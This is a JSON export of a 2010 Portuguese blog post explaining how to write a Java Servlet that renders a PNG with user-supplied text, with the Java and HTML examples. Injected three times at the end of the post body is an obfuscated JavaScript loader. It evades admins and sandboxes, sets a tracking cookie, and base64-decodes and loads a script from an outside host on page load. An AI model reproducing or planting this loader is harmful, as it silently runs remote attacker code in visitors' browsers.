{"id":773,"date":"2010-11-23T12:25:56","date_gmt":"2010-11-23T14:25:56","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=773"},"modified":"2025-10-26T22:42:14","modified_gmt":"2025-10-27T01:42:14","slug":"gerar-imagens-dinamicas-com-servlets","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/11\/23\/gerar-imagens-dinamicas-com-servlets\/","title":{"rendered":"Gerar imagens din\u00e2micas com servlets"},"content":{"rendered":"<p style=\"text-align: justify;\">HTTP Servlets tem utilidade mais interessante do que apenas Front Controllers e gerar c\u00f3digo HTML. Um dos recursos mais bacanas \u00e9 a possibilidade de gerar conte\u00fado bin\u00e1rio em tempo de execu\u00e7\u00e3o. Nesse post demonstrarei como desenhar uma imagem din\u00e2mica utilizando Servlets. A id\u00e9ia veio da necessidade do <a title=\"C\u00e1ssio\" href=\"http:\/\/twitter.com\/cassiojosi\" target=\"_blank\" rel=\"noopener\">C\u00e1ssio<\/a> em extrair p\u00e1ginas de PDF e exibir como imagens em uma aplica\u00e7\u00e3o Web.<\/p>\n<p style=\"text-align: justify;\">Vamos criar uma Servlet onde o usu\u00e1rio poder\u00e1 realizar uma requisi\u00e7\u00e3o via GET da URL \"imagem.png\" passando um par\u00e2metro \"texto\" e a Servlet ir\u00e1 retornar uma imagem com uma bolinha e o texto digitado.<\/p>\n<p style=\"text-align: justify;\">Estou utilizando Servlet 3.0, mas o c\u00f3digo do m\u00e9todo get pode ser utilizado em qualquer outra vers\u00e3o de Servlets sem necessidade de altera\u00e7\u00e3o.<\/p>\n<pre class=\"brush: java; highlight: [35,56]; title: ; notranslate\" title=\"\">package br.com.thiagovespa.samples.imagem;\n\nimport java.awt.Color;\nimport java.awt.Font;\nimport java.awt.Graphics2D;\nimport java.awt.image.BufferedImage;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\nimport javax.imageio.ImageIO;\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n\/**\n * Gera uma imagem com um texto passado por par\u00e2metro\n *\n * @author Thiago Galbiatti Vespa\n *\/\n@WebServlet(&quot;\/imagem.png&quot;)\npublic class ImagemServlet extends HttpServlet {\n\n\tprivate static final long serialVersionUID = 201011231103L;\n\n\tpublic ImagemServlet() {\n\t\tsuper();\n\t}\n\n\t@Override\n\tprotected void doGet(HttpServletRequest request,\n\t\t\tHttpServletResponse response) throws ServletException, IOException {\n\t\t\/\/ A imagem \u00e9 um png - Poderia ser qualquer outro tipo\n\t\tresponse.setContentType(&quot;image\/png&quot;);\n\n\t\t\/\/ Recupera o par\u00e2metro\n\t\tString text = request.getParameter(&quot;texto&quot;);\n\n\t\t\/\/ Cria uma imagem de tamanho 500x50\n\t\tBufferedImage image = new BufferedImage(500, 50,\n\t\t\t\tBufferedImage.TYPE_INT_ARGB);\n\n\t\t\/\/ Cria o canvas pra desenho\n\t\tGraphics2D canvas = image.createGraphics();\n\t\tcanvas.setColor(Color.BLUE);\n\t\t\/\/ Desenha um c\u00edrculo azul\n\t\tcanvas.fillOval(10, 10, 10, 10);\n\t\tcanvas.setColor(Color.RED);\n\t\tcanvas.setFont(new Font(Font.SANS_SERIF, Font.BOLD, 14));\n\t\t\/\/ Desenha o texto em vermelho\n\t\tcanvas.drawString(text != null ? text : &quot;Nenhum texto informado!&quot;, 25,\n\t\t\t\t20);\n\t\tOutputStream out = null;\n\t\ttry {\n\t\t\tout = response.getOutputStream();\n\t\t\t\/\/ Escreve a imagem no outputstream da response no formato png\n\t\t\tImageIO.write(image, &quot;PNG&quot;, out);\n\t\t} finally {\n\t\t\tif (out != null) {\n\t\t\t\tout.close();\n\t\t\t}\n\t\t}\n\t}\n\n}\n<\/pre>\n<p style=\"text-align: justify;\">Fiz v\u00e1rios coment\u00e1rios no c\u00f3digo para facilitar a compreens\u00e3o de quem est\u00e1 come\u00e7ando e para eu n\u00e3o precisar explicar linha a linha o que o c\u00f3digo est\u00e1 fazendo :). O c\u00f3digo importante\u00a0 para gerar qualquer conte\u00fado bin\u00e1rio \u00e9 o que est\u00e1 destacado na linha 35, que seta o mime-type correto para a servlet exibir e o da linha 56 que recupera o OutputStream (bin\u00e1rio) para escrever algum conte\u00fado nele.<\/p>\n<p style=\"text-align: justify;\">Para utilizar o mime-type correto pro seu tipo de conte\u00fado, voc\u00ea pode utilizar a tabela da W3School dispon\u00edvel nesse link: <a title=\"Mime-type\" href=\"http:\/\/www.w3schools.com\/media\/media_mimeref.asp\" target=\"_blank\" rel=\"noopener\">http:\/\/www.w3schools.com\/media\/media_mimeref.asp<\/a><\/p>\n<p style=\"text-align: justify;\">Agora \u00e9 s\u00f3 fazer o deploy de um projeto com essa Servlet e acess\u00e1-la passando um par\u00e2metro. O resultado voc\u00ea pode ver na imagem abaixo:<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_787\" aria-describedby=\"caption-attachment-787\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/11\/Screenshot-imagem.png-500\u00d750.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-787 \" title=\"imagem.png (500\u00d750)\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/11\/Screenshot-imagem.png-500\u00d750-300x117.png\" alt=\"imagem.png (500\u00d750)\" width=\"300\" height=\"117\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/11\/Screenshot-imagem.png-500\u00d750-300x117.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/11\/Screenshot-imagem.png-500\u00d750.png 789w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-787\" class=\"wp-caption-text\">imagem.png (500\u00d750)<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Para exibir dentro de uma p\u00e1gina HTML \u00e9 s\u00f3 referenciar o endere\u00e7o da Servlet no atributo src da tag img. Por exemplo:<\/p>\n<p style=\"text-align: justify;\">\n<pre class=\"brush: xml; highlight: [9]; title: ; notranslate\" title=\"\">\n&lt;!DOCTYPE html PUBLIC &quot;-\/\/W3C\/\/DTD HTML 4.01 Transitional\/\/EN&quot; &quot;http:\/\/www.w3.org\/TR\/html4\/loose.dtd&quot;&gt;\n&lt;html&gt;\n&lt;head&gt;\n&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text\/html; charset=UTF-8&quot;&gt;\n&lt;title&gt;Exemplo imagem&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\nOlha minha imagem a&amp;iacute; em baixo&lt;br\/&gt;\n&lt;img src=&quot;imagem.png?texto=Imagem gerada!&quot;\/&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre>\n<p style=\"text-align: justify;\">O browser ir\u00e1 exibir o conte\u00fado da imagem gerada din\u00e2micamente:<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_794\" aria-describedby=\"caption-attachment-794\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/11\/Screenshot-Exemplo-imagem.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-794\" title=\"Exemplo imagem\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/11\/Screenshot-Exemplo-imagem-300x120.png\" alt=\"Exemplo imagem\" width=\"300\" height=\"120\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/11\/Screenshot-Exemplo-imagem-300x120.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/11\/Screenshot-Exemplo-imagem.png 525w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-794\" class=\"wp-caption-text\">Exemplo imagem<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Agora \u00e9 s\u00f3 programar a Servlet para gerar o que voc\u00ea quiser!.<\/p>\n<p style=\"text-align: justify;\">Esse conceito \u00e9 utilizado para gera\u00e7\u00e3o de <a title=\"Quebrando CAPTCHAS\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2010\/09\/26\/quebrando-captchas\/\" target=\"_blank\" rel=\"noopener\">CAPTCHAs<\/a>, PDF, XLS, e outros arquivos bin\u00e1rios dinamicamente.<\/p>\n<p style=\"text-align: justify;\">\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>HTTP Servlets tem utilidade mais interessante do que apenas Front Controllers e gerar c\u00f3digo HTML. Um dos recursos mais bacanas \u00e9 a possibilidade de gerar conte\u00fado bin\u00e1rio em tempo de execu\u00e7\u00e3o. Nesse post demonstrarei como desenhar uma imagem din\u00e2mica utilizando <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/11\/23\/gerar-imagens-dinamicas-com-servlets\/\">Continue lendo  <span class=\"screen-reader-text\">  Gerar imagens din\u00e2micas com servlets<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[68,3],"tags":[],"class_list":["post-773","post","type-post","status-publish","format-standard","hentry","category-html-e-javascript","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/773","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=773"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/773\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=773"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=773"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=773"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}